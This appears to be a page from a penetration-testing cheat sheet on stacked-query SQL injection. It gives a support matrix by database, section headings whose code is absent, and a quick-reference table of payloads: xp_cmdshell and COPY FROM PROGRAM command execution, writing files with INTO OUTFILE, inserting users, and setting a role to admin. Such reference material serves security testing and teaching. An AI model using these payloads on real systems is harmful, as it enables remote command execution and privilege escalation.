Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
Execute multiple SQL statements separated by;. Unlike UNION/error-based, stacked queries can run INSERT, UPDATE, DELETE, and administrative commands. Not all databases/drivers support this.
Support Matrix
| Database | Supported | Notes |
|---|---|---|
| MSSQL | Yes | Full support |
| PostgreSQL | Yes | Full support |
| MySQL | Depends | Only with mysqli_multi_query() or PDO with ATTR_EMULATE_PREPARES |
| SQLite | Yes | Via some drivers |
| Oracle | No | Not supported |
MSSQL
Execute Commands
Enable xp_cmdshell
Create Admin User
Reverse Shell
PostgreSQL
Command Execution
Create User
File Write
MySQL
Write File
Create User
Data Manipulation
Insert Data
Update Data
Delete Data
Detection
If second query executes, stacked queries work:Quick Reference
| Database | Payload |
|---|---|
| MSSQL RCE | '; EXEC xp_cmdshell 'whoami'-- - |
| PostgreSQL RCE | '; COPY cmd FROM PROGRAM 'id'-- - |
| MySQL write | '; SELECT ... INTO OUTFILE '/path'-- - |
| Insert user | '; INSERT INTO users VALUES(...)-- - |
| Update role | '; UPDATE users SET role='admin'-- - |